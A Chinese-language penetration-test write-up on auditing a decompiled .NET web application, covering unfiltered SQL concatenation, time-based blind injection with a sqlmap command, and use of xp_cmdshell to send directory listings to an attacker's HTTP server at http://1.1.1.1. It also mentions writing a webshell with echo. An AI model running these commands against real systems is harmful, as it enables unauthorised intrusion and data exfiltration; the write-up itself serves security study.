记某次渗透过程中的.NET代码审计

####0x01 前言
在某次渗透测试过程中遇到了一套C#源码。遂对该源码进行了一些简单的代码审计,发现了一些问题。代码非常简单清楚,非常适合我这种小白审计。于是拿出来写一写。

所使用的一些工具:
ILSPY (用来反编译DLL文件的)
Sublime Text3(让代码阅读起来更方便)
C#在线编译:https://c.runoob.com/compile/14(在线跑一些DEMO)

####0x02 代码初览
由于代码是从别的地方脱下来的,所以没数据库,只能看代码然后在目标网站测试了。先看看代码结构根据inherits属性找到当前 Web 窗体所继承的代码隐藏类,即bin目录下的App_Web_vr0aluvs.dll文件。


用ILSPY打开,即可找到相关代码。

###0x03 SQL注入
两个参数均未过滤,直接拼接进语句。然后入库查询
图片.png
但该页面存在鉴权。要求用户登录以后才能进行操作。爆破了一些常见的账号并不行。于是看看其他能直接访问到的页面。
在注册代理页面中,如图所示两个SQL语句都直接拼接了相关变量。第二条SQL很明显就可以变量可控。直接注入即可。第一条朔源追查一下相关变量。

只判断了QID是否为空,QID可控。于是第一条SQL也是可以利用的。

但是两个利用点都无法回显数据,只能利用时间盲注。还有一个问题就是在注入过程中需要对保证每次请求过程中ID参数不一样。如果利用SqlMap跑数据的话可以使用-randomize参数

######python sqlmap.py -r post.txt –randomize=id –dbs

这样就能保证每次请求时ID参数都是不同的。Sqlmap会根据POST数据库包中ID参数值的长度内容进行随机变化。例如ID=100000000, 那么每次就会随机取10000-99999中每个数请求。

####0x04 盲注命令回显

根据代码可知,可以进行多行语句执行。那么我们就可以执行系统命令了。但由于是时间盲注回显结果只能一个字符一个字符的判断,非常慢。有朋友可能会想为什么不直接执行添加用户命令呢。原因很简单,在测试过程中发现SQL被降权了。仅普通用户权限,无法添加用户。所以只要找到Web目录就可以通过echo命令写shell了。但是通过dir命令回显数据也是非常慢。有没有什么更快的方法呢,答案是有的。

我第一时间想到的是dnslog。但是dnslog利用起来更复杂。解决问题应该用最优的方法。我们可以在VPS上搭建Http服务器,然后通过for循环执行dir命令,然后通过start命令带上结果进行http请求。然后在vps上查看访问日志即可查看到相关结果。

现在VPS上搭建http服务器。一条命令搞定:

######python -m SimpleHTTPServer 80

然后通过注入在目标机器上执行相关SQL

######exec master..xp_cmdshell “for /F %s in (‘dir’) do start http://1.1.1.1/?%s
即可收到相关结果

####0x05 结语
在实际的利用过程中,遇到了很多坑。对.NET也不是很熟,都是边看变百度。耐心很重要。后来在数据库里面看到了几个弱口令。心态都崩了。要是多跑几次说不定就出来了。另外文章很多地方都写的不详细。自己记录一下。